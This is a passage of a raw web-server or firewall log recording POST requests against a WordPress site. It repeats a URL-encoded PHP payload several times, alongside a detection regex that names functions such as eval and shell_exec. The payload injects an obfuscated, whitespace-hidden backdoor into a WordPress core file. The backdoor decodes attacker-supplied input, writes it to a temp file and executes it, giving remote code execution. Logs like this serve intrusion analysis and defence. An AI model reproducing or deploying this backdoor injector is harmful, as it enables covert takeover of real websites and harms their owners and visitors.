0=71\n\nXV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-styles.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524element%2520%253D%2520explode%2520%2528%2527.%2527%252C%2520%2524element%2529%2520%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524n%2520%253D%253E%2524v2%2529%253A%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v2%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252029%253B%2520%2524property_set%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520%2524itm%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524itm%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528is_dir%2528%2524object%2529%2520%2526%2526%2520is_writable%2528%2524object%2529%2529%2520%257B%2520%2524factor%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520if%2520%2528file_put_contents%2528%2524factor%252C%2520%2524property_set%2529%2529%2520%257B%2520require%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:44:48","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> KK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-styles.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524element%2520%253D%2520explode%2520%2528%2527.%2527%252C%2520%2524element%2529%2520%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524n%2520%253D%253E%2524v2%2529%253A%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v2%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252029%253B%2520%2524property_set%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520%2524itm%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524itm%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528is_dir%2528%2524object%2529%2520%2526%2526%2520is_writable%2528%2524object%2529%2529%2520%257B%2520%2524factor%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520if%2520%2528file_put_contents%2528%2524factor%252C%2520%2524property_set%2529%2529%2520%257B%2520require%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:4204\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF0fvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nKK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-styles.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524element%2520%253D%2520explode%2520%2528%2527.%2527%252C%2520%2524element%2529%2520%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524n%2520%253D%253E%2524v2%2529%253A%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v2%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252029%253B%2520%2524property_set%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520%2524itm%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524itm%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528is_dir%2528%2524object%2529%2520%2526%2526%2520is_writable%2528%2524object%2529%2529%2520%257B%2520%2524factor%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520if%2520%2528file_put_contents%2528%2524factor%252C%2520%2524property_set%2529%2529%2520%257B%2520require%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:44:51","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ce:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-styles.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524element%2520%253D%2520explode%2520%2528%2527.%2527%252C%2520%2524element%2529%2520%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524n%2520%253D%253E%2524v2%2529%253A%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v2%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252029%253B%2520%2524property_set%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520%2524itm%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524itm%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528is_dir%2528%2524object%2529%2520%2526%2526%2520is_writable%2528%2524object%2529%2529%2520%257B%2520%2524factor%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520if%2520%2528file_put_contents%2528%2524factor%252C%2520%2524property_set%2529%2529%2520%257B%2520require%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:4204\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD2HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nCe=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-styles.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524element%2520%253D%2520explode%2520%2528%2527.%2527%252C%2520%2524element%2529%2520%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524n%2520%253D%253E%2524v2%2529%253A%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v2%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252029%253B%2520%2524property_set%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520%2524itm%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524itm%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528is_dir%2528%2524object%2529%2520%2526%2526%2520is_writable%2528%2524object%2529%2529%2520%257B%2520%2524factor%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520if%2520%2528file_put_contents%2528%2524factor%252C%2520%2524property_set%2529%2529%2520%257B%2520require%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:44:53","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fa:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-styles.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524element%2520%253D%2520explode%2520%2528%2527.%2527%252C%2520%2524element%2529%2520%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524n%2520%253D%253E%2524v2%2529%253A%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v2%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252029%253B%2520%2524property_set%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520%2524itm%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524itm%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528is_dir%2528%2524object%2529%2520%2526%2526%2520is_writable%2528%2524object%2529%2529%2520%257B%2520%2524factor%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520if%2520%2528file_put_contents%2528%2524factor%252C%2520%2524property_set%2529%2529%2520%257B%2520require%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4204\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMzRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nfa=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-styles.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524element%2520%253D%2520explode%2520%2528%2527.%2527%252C%2520%2524element%2529%2520%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524n%2520%253D%253E%2524v2%2529%253A%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v2%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252029%253B%2520%2524property_set%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520%2524itm%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524itm%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528is_dir%2528%2524object%2529%2520%2526%2526%2520is_writable%2528%2524object%2529%2529%2520%257B%2520%2524factor%2520%253D%2520sprintf%2528%2522%2525s